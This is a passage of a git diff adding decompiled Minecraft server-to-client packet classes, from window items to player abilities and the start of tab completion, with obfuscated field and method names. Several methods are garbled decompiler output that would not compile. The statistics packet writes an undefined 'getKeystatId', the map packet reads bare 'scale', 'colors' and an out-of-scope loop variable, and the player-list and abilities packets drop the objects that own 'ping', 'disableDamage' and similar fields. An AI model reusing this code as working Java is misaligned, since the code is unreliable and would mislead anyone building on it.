+  private static final String __OBFID = "CL_00001294";
+  
+  public S30PacketWindowItems() {}
+  
+  public S30PacketWindowItems(int p_i45186_1_, List p_i45186_2_)
+  {
+    field_148914_a = p_i45186_1_;
+    field_148913_b = new ItemStack[p_i45186_2_.size()];
+    
+    for (int var3 = 0; var3 < field_148913_b.length; var3++)
+    {
+      ItemStack var4 = (ItemStack)p_i45186_2_.get(var3);
+      field_148913_b[var3] = (var4 == null ? null : var4.copy());
+    }
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_148914_a = data.readUnsignedByte();
+    short var2 = data.readShort();
+    field_148913_b = new ItemStack[var2];
+    
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      field_148913_b[var3] = data.readItemStackFromBuffer();
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeByte(field_148914_a);
+    data.writeShort(field_148913_b.length);
+    ItemStack[] var2 = field_148913_b;
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      ItemStack var5 = var2[var4];
+      data.writeItemStackToBuffer(var5);
+    }
+  }
+  
+  public void func_180732_a(INetHandlerPlayClient p_180732_1_)
+  {
+    p_180732_1_.handleWindowItems(this);
+  }
+  
+  public int func_148911_c()
+  {
+    return field_148914_a;
+  }
+  
+  public ItemStack[] func_148910_d()
+  {
+    return field_148913_b;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180732_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S31PacketWindowProperty.java b/src/minecraft/net/minecraft/network/play/server/S31PacketWindowProperty.java
new file mode 100644
index 0000000..7684a4a
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S31PacketWindowProperty.java
@@ -0,0 +1,72 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S31PacketWindowProperty implements Packet
+{
+  private int field_149186_a;
+  private int field_149184_b;
+  private int field_149185_c;
+  private static final String __OBFID = "CL_00001295";
+  
+  public S31PacketWindowProperty() {}
+  
+  public S31PacketWindowProperty(int p_i45187_1_, int p_i45187_2_, int p_i45187_3_)
+  {
+    field_149186_a = p_i45187_1_;
+    field_149184_b = p_i45187_2_;
+    field_149185_c = p_i45187_3_;
+  }
+  
+  public void func_180733_a(INetHandlerPlayClient p_180733_1_)
+  {
+    p_180733_1_.handleWindowProperty(this);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149186_a = data.readUnsignedByte();
+    field_149184_b = data.readShort();
+    field_149185_c = data.readShort();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeByte(field_149186_a);
+    data.writeShort(field_149184_b);
+    data.writeShort(field_149185_c);
+  }
+  
+  public int func_149182_c()
+  {
+    return field_149186_a;
+  }
+  
+  public int func_149181_d()
+  {
+    return field_149184_b;
+  }
+  
+  public int func_149180_e()
+  {
+    return field_149185_c;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180733_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S32PacketConfirmTransaction.java b/src/minecraft/net/minecraft/network/play/server/S32PacketConfirmTransaction.java
new file mode 100644
index 0000000..ae9a583
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S32PacketConfirmTransaction.java
@@ -0,0 +1,72 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S32PacketConfirmTransaction implements Packet
+{
+  private int field_148894_a;
+  private short field_148892_b;
+  private boolean field_148893_c;
+  private static final String __OBFID = "CL_00001291";
+  
+  public S32PacketConfirmTransaction() {}
+  
+  public S32PacketConfirmTransaction(int p_i45182_1_, short p_i45182_2_, boolean p_i45182_3_)
+  {
+    field_148894_a = p_i45182_1_;
+    field_148892_b = p_i45182_2_;
+    field_148893_c = p_i45182_3_;
+  }
+  
+  public void func_180730_a(INetHandlerPlayClient p_180730_1_)
+  {
+    p_180730_1_.handleConfirmTransaction(this);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_148894_a = data.readUnsignedByte();
+    field_148892_b = data.readShort();
+    field_148893_c = data.readBoolean();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeByte(field_148894_a);
+    data.writeShort(field_148892_b);
+    data.writeBoolean(field_148893_c);
+  }
+  
+  public int func_148889_c()
+  {
+    return field_148894_a;
+  }
+  
+  public short func_148890_d()
+  {
+    return field_148892_b;
+  }
+  
+  public boolean func_148888_e()
+  {
+    return field_148893_c;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180730_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S33PacketUpdateSign.java b/src/minecraft/net/minecraft/network/play/server/S33PacketUpdateSign.java
new file mode 100644
index 0000000..9189b94
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S33PacketUpdateSign.java
@@ -0,0 +1,80 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.world.World;
+
+public class S33PacketUpdateSign implements Packet
+{
+  private World field_179706_a;
+  private BlockPos field_179705_b;
+  private IChatComponent[] field_149349_d;
+  private static final String __OBFID = "CL_00001338";
+  
+  public S33PacketUpdateSign() {}
+  
+  public S33PacketUpdateSign(World worldIn, BlockPos p_i45951_2_, IChatComponent[] p_i45951_3_)
+  {
+    field_179706_a = worldIn;
+    field_179705_b = p_i45951_2_;
+    field_149349_d = new IChatComponent[] { p_i45951_3_[0], p_i45951_3_[1], p_i45951_3_[2], p_i45951_3_[3] };
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_179705_b = data.readBlockPos();
+    field_149349_d = new IChatComponent[4];
+    
+    for (int var2 = 0; var2 < 4; var2++)
+    {
+      field_149349_d[var2] = data.readChatComponent();
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeBlockPos(field_179705_b);
+    
+    for (int var2 = 0; var2 < 4; var2++)
+    {
+      data.writeChatComponent(field_149349_d[var2]);
+    }
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleUpdateSign(this);
+  }
+  
+  public BlockPos func_179704_a()
+  {
+    return field_179705_b;
+  }
+  
+  public IChatComponent[] func_180753_b()
+  {
+    return field_149349_d;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S34PacketMaps.java b/src/minecraft/net/minecraft/network/play/server/S34PacketMaps.java
new file mode 100644
index 0000000..05c1d5c
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S34PacketMaps.java
@@ -0,0 +1,140 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import java.util.Collection;
+import java.util.Map;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.Vec4b;
+import net.minecraft.world.storage.MapData;
+
+public class S34PacketMaps implements net.minecraft.network.Packet
+{
+  private int mapId;
+  private byte field_179739_b;
+  private Vec4b[] field_179740_c;
+  private int field_179737_d;
+  private int field_179738_e;
+  private int field_179735_f;
+  private int field_179736_g;
+  private byte[] field_179741_h;
+  private static final String __OBFID = "CL_00001311";
+  
+  public S34PacketMaps() {}
+  
+  public S34PacketMaps(int p_i45975_1_, byte p_i45975_2_, Collection p_i45975_3_, byte[] p_i45975_4_, int p_i45975_5_, int p_i45975_6_, int p_i45975_7_, int p_i45975_8_)
+  {
+    mapId = p_i45975_1_;
+    field_179739_b = p_i45975_2_;
+    field_179740_c = ((Vec4b[])p_i45975_3_.toArray(new Vec4b[p_i45975_3_.size()]));
+    field_179737_d = p_i45975_5_;
+    field_179738_e = p_i45975_6_;
+    field_179735_f = p_i45975_7_;
+    field_179736_g = p_i45975_8_;
+    field_179741_h = new byte[p_i45975_7_ * p_i45975_8_];
+    
+    for (int var9 = 0; var9 < p_i45975_7_; var9++)
+    {
+      for (int var10 = 0; var10 < p_i45975_8_; var10++)
+      {
+        field_179741_h[(var9 + var10 * p_i45975_7_)] = p_i45975_4_[(p_i45975_5_ + var9 + (p_i45975_6_ + var10) * 128)];
+      }
+    }
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    mapId = data.readVarIntFromBuffer();
+    field_179739_b = data.readByte();
+    field_179740_c = new Vec4b[data.readVarIntFromBuffer()];
+    
+    for (int var2 = 0; var2 < field_179740_c.length; var2++)
+    {
+      short var3 = (short)data.readByte();
+      field_179740_c[var2] = new Vec4b((byte)(var3 >> 4 & 0xF), data.readByte(), data.readByte(), (byte)(var3 & 0xF));
+    }
+    
+    field_179735_f = data.readUnsignedByte();
+    
+    if (field_179735_f > 0)
+    {
+      field_179736_g = data.readUnsignedByte();
+      field_179737_d = data.readUnsignedByte();
+      field_179738_e = data.readUnsignedByte();
+      field_179741_h = data.readByteArray();
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(mapId);
+    data.writeByte(field_179739_b);
+    data.writeVarIntToBuffer(field_179740_c.length);
+    Vec4b[] var2 = field_179740_c;
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      Vec4b var5 = var2[var4];
+      data.writeByte((var5.func_176110_a() & 0xF) << 4 | var5.func_176111_d() & 0xF);
+      data.writeByte(var5.func_176112_b());
+      data.writeByte(var5.func_176113_c());
+    }
+    
+    data.writeByte(field_179735_f);
+    
+    if (field_179735_f > 0)
+    {
+      data.writeByte(field_179736_g);
+      data.writeByte(field_179737_d);
+      data.writeByte(field_179738_e);
+      data.writeByteArray(field_179741_h);
+    }
+  }
+  
+  public void func_180741_a(INetHandlerPlayClient p_180741_1_)
+  {
+    p_180741_1_.handleMaps(this);
+  }
+  
+  public int getMapId()
+  {
+    return mapId;
+  }
+  
+  public void func_179734_a(MapData p_179734_1_)
+  {
+    scale = field_179739_b;
+    playersVisibleOnMap.clear();
+    
+
+    for (int var2 = 0; var2 < field_179740_c.length; var2++)
+    {
+      Vec4b var3 = field_179740_c[var2];
+      playersVisibleOnMap.put("icon-" + var2, var3);
+    }
+    
+    for (var2 = 0; var2 < field_179735_f; var2++)
+    {
+      for (int var4 = 0; var4 < field_179736_g; var4++)
+      {
+        colors[(field_179737_d + var2 + (field_179738_e + var4) * 128)] = field_179741_h[(var2 + var4 * field_179735_f)];
+      }
+    }
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180741_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S35PacketUpdateTileEntity.java b/src/minecraft/net/minecraft/network/play/server/S35PacketUpdateTileEntity.java
new file mode 100644
index 0000000..a9fc088
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S35PacketUpdateTileEntity.java
@@ -0,0 +1,76 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.BlockPos;
+
+
+public class S35PacketUpdateTileEntity
+  implements Packet
+{
+  private BlockPos field_179824_a;
+  private int metadata;
+  private NBTTagCompound nbt;
+  private static final String __OBFID = "CL_00001285";
+  
+  public S35PacketUpdateTileEntity() {}
+  
+  public S35PacketUpdateTileEntity(BlockPos p_i45990_1_, int p_i45990_2_, NBTTagCompound p_i45990_3_)
+  {
+    field_179824_a = p_i45990_1_;
+    metadata = p_i45990_2_;
+    nbt = p_i45990_3_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_179824_a = data.readBlockPos();
+    metadata = data.readUnsignedByte();
+    nbt = data.readNBTTagCompoundFromBuffer();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeBlockPos(field_179824_a);
+    data.writeByte((byte)metadata);
+    data.writeNBTTagCompoundToBuffer(nbt);
+  }
+  
+  public void func_180725_a(INetHandlerPlayClient p_180725_1_)
+  {
+    p_180725_1_.handleUpdateTileEntity(this);
+  }
+  
+  public BlockPos func_179823_a()
+  {
+    return field_179824_a;
+  }
+  
+  public int getTileEntityType()
+  {
+    return metadata;
+  }
+  
+  public NBTTagCompound getNbtCompound()
+  {
+    return nbt;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180725_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S36PacketSignEditorOpen.java b/src/minecraft/net/minecraft/network/play/server/S36PacketSignEditorOpen.java
new file mode 100644
index 0000000..1fd6f95
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S36PacketSignEditorOpen.java
@@ -0,0 +1,58 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.BlockPos;
+
+public class S36PacketSignEditorOpen implements Packet
+{
+  private BlockPos field_179778_a;
+  private static final String __OBFID = "CL_00001316";
+  
+  public S36PacketSignEditorOpen() {}
+  
+  public S36PacketSignEditorOpen(BlockPos p_i45971_1_)
+  {
+    field_179778_a = p_i45971_1_;
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleSignEditorOpen(this);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_179778_a = data.readBlockPos();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeBlockPos(field_179778_a);
+  }
+  
+  public BlockPos func_179777_a()
+  {
+    return field_179778_a;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S37PacketStatistics.java b/src/minecraft/net/minecraft/network/play/server/S37PacketStatistics.java
new file mode 100644
index 0000000..0a1d0e0
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S37PacketStatistics.java
@@ -0,0 +1,83 @@
+package net.minecraft.network.play.server;
+
+import com.google.common.collect.Maps;
+import java.io.IOException;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.stats.StatBase;
+
+public class S37PacketStatistics implements Packet
+{
+  private Map field_148976_a;
+  private static final String __OBFID = "CL_00001283";
+  
+  public S37PacketStatistics() {}
+  
+  public S37PacketStatistics(Map p_i45173_1_)
+  {
+    field_148976_a = p_i45173_1_;
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleStatistics(this);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    int var2 = data.readVarIntFromBuffer();
+    field_148976_a = Maps.newHashMap();
+    
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      StatBase var4 = net.minecraft.stats.StatList.getOneShotStat(data.readStringFromBuffer(32767));
+      int var5 = data.readVarIntFromBuffer();
+      
+      if (var4 != null)
+      {
+        field_148976_a.put(var4, Integer.valueOf(var5));
+      }
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_148976_a.size());
+    Iterator var2 = field_148976_a.entrySet().iterator();
+    
+    while (var2.hasNext())
+    {
+      Map.Entry var3 = (Map.Entry)var2.next();
+      data.writeString(getKeystatId);
+      data.writeVarIntToBuffer(((Integer)var3.getValue()).intValue());
+    }
+  }
+  
+  public Map func_148974_c()
+  {
+    return field_148976_a;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S38PacketPlayerListItem.java b/src/minecraft/net/minecraft/network/play/server/S38PacketPlayerListItem.java
new file mode 100644
index 0000000..bfc8482
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S38PacketPlayerListItem.java
@@ -0,0 +1,334 @@
+package net.minecraft.network.play.server;
+
+import com.mojang.authlib.GameProfile;
+import com.mojang.authlib.properties.Property;
+import com.mojang.authlib.properties.PropertyMap;
+import java.io.IOException;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.server.management.ItemInWorldManager;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.world.WorldSettings.GameType;
+
+public class S38PacketPlayerListItem implements net.minecraft.network.Packet
+{
+  private Action field_179770_a;
+  private final List field_179769_b = com.google.common.collect.Lists.newArrayList();
+  private static final String __OBFID = "CL_00001318";
+  
+  public S38PacketPlayerListItem() {}
+  
+  public S38PacketPlayerListItem(Action p_i45967_1_, EntityPlayerMP... p_i45967_2_)
+  {
+    field_179770_a = p_i45967_1_;
+    EntityPlayerMP[] var3 = p_i45967_2_;
+    int var4 = p_i45967_2_.length;
+    
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      EntityPlayerMP var6 = var3[var5];
+      field_179769_b.add(new AddPlayerData(var6.getGameProfile(), ping, theItemInWorldManager.getGameType(), var6.func_175396_E()));
+    }
+  }
+  
+  public S38PacketPlayerListItem(Action p_i45968_1_, Iterable p_i45968_2_)
+  {
+    field_179770_a = p_i45968_1_;
+    Iterator var3 = p_i45968_2_.iterator();
+    
+    while (var3.hasNext())
+    {
+      EntityPlayerMP var4 = (EntityPlayerMP)var3.next();
+      field_179769_b.add(new AddPlayerData(var4.getGameProfile(), ping, theItemInWorldManager.getGameType(), var4.func_175396_E()));
+    }
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_179770_a = ((Action)data.readEnumValue(Action.class));
+    int var2 = data.readVarIntFromBuffer();
+    
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      GameProfile var4 = null;
+      int var5 = 0;
+      WorldSettings.GameType var6 = null;
+      IChatComponent var7 = null;
+      
+      switch (SwitchAction.field_179938_a[field_179770_a.ordinal()])
+      {
+      case 1: 
+        var4 = new GameProfile(data.readUuid(), data.readStringFromBuffer(16));
+        int var8 = data.readVarIntFromBuffer();
+        
+        for (int var9 = 0; var9 < var8; var9++)
+        {
+          String var10 = data.readStringFromBuffer(32767);
+          String var11 = data.readStringFromBuffer(32767);
+          
+          if (data.readBoolean())
+          {
+            var4.getProperties().put(var10, new Property(var10, var11, data.readStringFromBuffer(32767)));
+          }
+          else
+          {
+            var4.getProperties().put(var10, new Property(var10, var11));
+          }
+        }
+        
+        var6 = WorldSettings.GameType.getByID(data.readVarIntFromBuffer());
+        var5 = data.readVarIntFromBuffer();
+        
+        if (data.readBoolean())
+        {
+          var7 = data.readChatComponent();
+        }
+        
+        break;
+      
+      case 2: 
+        var4 = new GameProfile(data.readUuid(), null);
+        var6 = WorldSettings.GameType.getByID(data.readVarIntFromBuffer());
+        break;
+      
+      case 3: 
+        var4 = new GameProfile(data.readUuid(), null);
+        var5 = data.readVarIntFromBuffer();
+        break;
+      
+      case 4: 
+        var4 = new GameProfile(data.readUuid(), null);
+        
+        if (data.readBoolean())
+        {
+          var7 = data.readChatComponent();
+        }
+        
+        break;
+      
+      case 5: 
+        var4 = new GameProfile(data.readUuid(), null);
+      }
+      
+      field_179769_b.add(new AddPlayerData(var4, var5, var6, var7));
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeEnumValue(field_179770_a);
+    data.writeVarIntToBuffer(field_179769_b.size());
+    Iterator var2 = field_179769_b.iterator();
+    
+    while (var2.hasNext())
+    {
+      AddPlayerData var3 = (AddPlayerData)var2.next();
+      
+      switch (SwitchAction.field_179938_a[field_179770_a.ordinal()])
+      {
+      case 1: 
+        data.writeUuid(var3.func_179962_a().getId());
+        data.writeString(var3.func_179962_a().getName());
+        data.writeVarIntToBuffer(var3.func_179962_a().getProperties().size());
+        Iterator var4 = var3.func_179962_a().getProperties().values().iterator();
+        
+        while (var4.hasNext())
+        {
+          Property var5 = (Property)var4.next();
+          data.writeString(var5.getName());
+          data.writeString(var5.getValue());
+          
+          if (var5.hasSignature())
+          {
+            data.writeBoolean(true);
+            data.writeString(var5.getSignature());
+          }
+          else
+          {
+            data.writeBoolean(false);
+          }
+        }
+        
+        data.writeVarIntToBuffer(var3.func_179960_c().getID());
+        data.writeVarIntToBuffer(var3.func_179963_b());
+        
+        if (var3.func_179961_d() == null)
+        {
+          data.writeBoolean(false);
+        }
+        else
+        {
+          data.writeBoolean(true);
+          data.writeChatComponent(var3.func_179961_d());
+        }
+        
+        break;
+      
+      case 2: 
+        data.writeUuid(var3.func_179962_a().getId());
+        data.writeVarIntToBuffer(var3.func_179960_c().getID());
+        break;
+      
+      case 3: 
+        data.writeUuid(var3.func_179962_a().getId());
+        data.writeVarIntToBuffer(var3.func_179963_b());
+        break;
+      
+      case 4: 
+        data.writeUuid(var3.func_179962_a().getId());
+        
+        if (var3.func_179961_d() == null)
+        {
+          data.writeBoolean(false);
+        }
+        else
+        {
+          data.writeBoolean(true);
+          data.writeChatComponent(var3.func_179961_d());
+        }
+        
+        break;
+      
+      case 5: 
+        data.writeUuid(var3.func_179962_a().getId());
+      }
+    }
+  }
+  
+  public void func_180743_a(INetHandlerPlayClient p_180743_1_)
+  {
+    p_180743_1_.handlePlayerListItem(this);
+  }
+  
+  public List func_179767_a()
+  {
+    return field_179769_b;
+  }
+  
+  public Action func_179768_b()
+  {
+    return field_179770_a;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180743_a((INetHandlerPlayClient)handler);
+  }
+  
+  public static enum Action
+  {
+    ADD_PLAYER("ADD_PLAYER", 0), 
+    UPDATE_GAME_MODE("UPDATE_GAME_MODE", 1), 
+    UPDATE_LATENCY("UPDATE_LATENCY", 2), 
+    UPDATE_DISPLAY_NAME("UPDATE_DISPLAY_NAME", 3), 
+    REMOVE_PLAYER("REMOVE_PLAYER", 4);
+    
+    private static final Action[] $VALUES = { ADD_PLAYER, UPDATE_GAME_MODE, UPDATE_LATENCY, UPDATE_DISPLAY_NAME, REMOVE_PLAYER };
+    private static final String __OBFID = "CL_00002295";
+    
+    private Action(String p_i45966_1_, int p_i45966_2_) {}
+  }
+  
+  public class AddPlayerData
+  {
+    private final int field_179966_b;
+    private final WorldSettings.GameType field_179967_c;
+    private final GameProfile field_179964_d;
+    private final IChatComponent field_179965_e;
+    private static final String __OBFID = "CL_00002294";
+    
+    public AddPlayerData(GameProfile p_i45965_2_, int p_i45965_3_, WorldSettings.GameType p_i45965_4_, IChatComponent p_i45965_5_)
+    {
+      field_179964_d = p_i45965_2_;
+      field_179966_b = p_i45965_3_;
+      field_179967_c = p_i45965_4_;
+      field_179965_e = p_i45965_5_;
+    }
+    
+    public GameProfile func_179962_a()
+    {
+      return field_179964_d;
+    }
+    
+    public int func_179963_b()
+    {
+      return field_179966_b;
+    }
+    
+    public WorldSettings.GameType func_179960_c()
+    {
+      return field_179967_c;
+    }
+    
+    public IChatComponent func_179961_d()
+    {
+      return field_179965_e;
+    }
+  }
+  
+  static final class SwitchAction
+  {
+    static final int[] field_179938_a = new int[S38PacketPlayerListItem.Action.values().length];
+    private static final String __OBFID = "CL_00002296";
+    
+    static
+    {
+      try
+      {
+        field_179938_a[S38PacketPlayerListItem.Action.ADD_PLAYER.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_179938_a[S38PacketPlayerListItem.Action.UPDATE_GAME_MODE.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_179938_a[S38PacketPlayerListItem.Action.UPDATE_LATENCY.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_179938_a[S38PacketPlayerListItem.Action.UPDATE_DISPLAY_NAME.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_179938_a[S38PacketPlayerListItem.Action.REMOVE_PLAYER.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+    }
+    
+    SwitchAction() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S39PacketPlayerAbilities.java b/src/minecraft/net/minecraft/network/play/server/S39PacketPlayerAbilities.java
new file mode 100644
index 0000000..bede701
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S39PacketPlayerAbilities.java
@@ -0,0 +1,150 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S39PacketPlayerAbilities implements Packet
+{
+  private boolean invulnerable;
+  private boolean flying;
+  private boolean allowFlying;
+  private boolean creativeMode;
+  private float flySpeed;
+  private float walkSpeed;
+  private static final String __OBFID = "CL_00001317";
+  
+  public S39PacketPlayerAbilities() {}
+  
+  public S39PacketPlayerAbilities(PlayerCapabilities capabilities)
+  {
+    setInvulnerable(disableDamage);
+    setFlying(isFlying);
+    setAllowFlying(allowFlying);
+    setCreativeMode(isCreativeMode);
+    setFlySpeed(capabilities.getFlySpeed());
+    setWalkSpeed(capabilities.getWalkSpeed());
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    byte var2 = data.readByte();
+    setInvulnerable((var2 & 0x1) > 0);
+    setFlying((var2 & 0x2) > 0);
+    setAllowFlying((var2 & 0x4) > 0);
+    setCreativeMode((var2 & 0x8) > 0);
+    setFlySpeed(data.readFloat());
+    setWalkSpeed(data.readFloat());
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    byte var2 = 0;
+    
+    if (isInvulnerable())
+    {
+      var2 = (byte)(var2 | 0x1);
+    }
+    
+    if (isFlying())
+    {
+      var2 = (byte)(var2 | 0x2);
+    }
+    
+    if (isAllowFlying())
+    {
+      var2 = (byte)(var2 | 0x4);
+    }
+    
+    if (isCreativeMode())
+    {
+      var2 = (byte)(var2 | 0x8);
+    }
+    
+    data.writeByte(var2);
+    data.writeFloat(flySpeed);
+    data.writeFloat(walkSpeed);
+  }
+  
+  public void func_180742_a(INetHandlerPlayClient p_180742_1_)
+  {
+    p_180742_1_.handlePlayerAbilities(this);
+  }
+  
+  public boolean isInvulnerable()
+  {
+    return invulnerable;
+  }
+  
+  public void setInvulnerable(boolean isInvulnerable)
+  {
+    invulnerable = isInvulnerable;
+  }
+  
+  public boolean isFlying()
+  {
+    return flying;
+  }
+  
+  public void setFlying(boolean isFlying)
+  {
+    flying = isFlying;
+  }
+  
+  public boolean isAllowFlying()
+  {
+    return allowFlying;
+  }
+  
+  public void setAllowFlying(boolean isAllowFlying)
+  {
+    allowFlying = isAllowFlying;
+  }
+  
+  public boolean isCreativeMode()
+  {
+    return creativeMode;
+  }
+  
+  public void setCreativeMode(boolean isCreativeMode)
+  {
+    creativeMode = isCreativeMode;
+  }
+  
+  public float getFlySpeed()
+  {
+    return flySpeed;
+  }
+  
+  public void setFlySpeed(float flySpeedIn)
+  {
+    flySpeed = flySpeedIn;
+  }
+  
+  public float getWalkSpeed()
+  {
+    return walkSpeed;
+  }
+  
+  public void setWalkSpeed(float walkSpeedIn)
+  {
+    walkSpeed = walkSpeedIn;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180742_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S3APacketTabComplete.java b/src/minecraft/net/minecraft/network/play/server/S3APacketTabComplete.java
new file mode 100644
index 0000000..71e2d8a
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S3APacketTabComplete.java
@@ -0,0 +1,70 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S3APacketTabComplete implements Packet
+{
+  private String[] field_149632_a;
